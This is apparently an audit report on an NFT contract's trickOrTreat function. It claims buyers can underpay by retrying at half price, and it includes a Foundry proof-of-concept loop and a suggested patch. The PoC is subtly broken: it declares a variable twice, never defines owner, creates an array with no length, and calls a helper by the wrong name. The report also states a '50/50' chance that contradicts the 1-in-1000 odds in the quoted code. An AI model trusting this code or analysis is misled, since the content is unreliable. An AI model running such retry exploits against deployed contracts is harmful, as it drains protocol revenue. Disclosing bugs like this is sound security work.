Summary
The current design of this function is based on the assumption that the user will attempt to mint a Halloween-themed NFT along with msg.value as the typical cost of that NFT.
If the user sends a typical amount and gets lucky, the user will be refunded, and if they are unlucky, the amount will be added to a pendingNFTAmountPaid.
However, there is no requirement that forces the user to send the normal price.
This allows the user to send HALF the cost of a given NFT every time they make a transaction, either:
Causing the transaction to revert,
Spending half the price if user is unlucky and reattempting to mint at half the price
Or actually mint at half the price.
Vulnerability Details
An attacker could simply create a while loop and continuously attempt to mint an NFT at half the cost, only needing to spend the necessary gas for each transaction until a transaction passes.
In this way, there ends up being a 50/50 chance that the attacker will mint an nft for half, or get unlucky and only lose half with no mint.
Not only will the contract accrue less fees due to the attacker paying half the price on an unlucky roll, but also that there is no incentive for anyone to try and mint at a treat's normal price.
Impact
The impact of the vulnerability is MEDIUM as it comes from an unintended side-effect within the protocol that results in less fees.
While the chance of experiencing a "lucky" roll is rare, if an attacker continuously sends calls on trickOrTreat with no serious penalty, then the chance of this happening is very likely.
POC
First, please create a test file SpookySwapTest.t.sol under ~/test/ with the following setup:
pragma solidity 0.8.24;
import { Test, console } from "forge-std/Test.sol";
import { SpookySwap } from "../src/TrickOrTreat.sol";
contract SpookySwapTest is Test {
SpookySwap public spookySwap;
uint256 userStartBalance = 3 ether;
address user = makeAddr("user");
address user = makeAddr("owner");
function setUp() public {
deal(user, userStartBalance);
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
treats[0] = SpookySwap.Treat("WereGummy", 1 ether, "");
vm.startPrank(owner);
spookySwap = new SpookySwap(treats);
vm.stopPrank();
}
function helper_GetTreat(string memory _treatName) public view returns (SpookySwap.Treat memory) {
(string memory treatName, uint256 treatCost, string memory treatMeta) = spookySwap.treatList(_treatName);
return SpookySwap.Treat(treatName, treatCost, treatMeta);
}
}
Then add the following test:
function test_UserCanSpanHalfPriceUntilLucky() public {
string[] memory treats = spookySwap.getTreats();
SpookySwap.Treat memory curTreat = helperGetTreat(treats[0]);
uint256 halfPrice = curTreat.cost/2;
uint256 counter = 0;
vm.warp(counter);
vm.startPrank(user);
bool success = false;
while (!success) {
vm.warp(counter);
try spookySwap.trickOrTreat{value: halfPrice}(curTreat.name) {
success = true;
break;
} catch {
vm.prevrandao(bytes32(uint256(counter)));
try spookySwap.trickOrTreat{value: halfPrice}(curTreat.name) {
success = true;
break;
} catch {}
}
counter += 1;
}
vm.stopPrank();
}
Tools Used
Recommendations
To fix this issue, the require statement within trickOrTreat can be modified and moved to the top of the function:
function trickOrTreat(string memory _treatName) public payable nonReentrant {
Treat memory treat = treatList[_treatName];
require(treat.cost > 0, "Treat cost not set.");
+ require(msg.value >= treat.cost, "Insufficient ETH sent for treat");
uint256 costMultiplierNumerator = 1;
uint256 costMultiplierDenominator = 1;
// Generate a pseudo-random number between 1 and 1000
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nextTokenId, block.prevrandao))) % 1000 + 1;
if (random == 1) {
// 1/1000 chance of half price (treat)
costMultiplierNumerator = 1;
costMultiplierDenominator = 2;
} else if (random == 2) {
// 1/1000 chance of double price (trick)
costMultiplierNumerator = 2;
costMultiplierDenominator = 1;
}
// Else, normal price (multiplier remains 1/1)
uint256 requiredCost = (treat.cost * costMultiplierNumerator) / costMultiplierDenominator;
if (costMultiplierNumerator == 2 && costMultiplierDenominator == 1) {
// Double price case (trick)
if (msg.value >= requiredCost) {
// User sent enough ETH
mintTreat(msg.sender, treat);
} else {
// User didn't send enough ETH
// Mint NFT to contract and store pending purchase
uint256 tokenId = nextTokenId;
_mint(address(this), tokenId);
_setTokenURI(tokenId, treat.metadataURI);
nextTokenId += 1;
pendingNFTs[tokenId] = msg.sender;
pendingNFTsAmountPaid[tokenId] = msg.value;
tokenIdToTreatName[tokenId] = _treatName;
emit Swapped(msg.sender, _treatName, tokenId);
// User needs to call fellForTrick() to finish the transaction
}
} else {
// Normal price or half price
- require(msg.value >= requiredCost, "Insufficient ETH sent for treat");
mintTreat(msg.sender, treat);
}
// Refund excess ETH if any
if (msg.value > requiredCost) {
uint256 refund = msg.value - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}
}
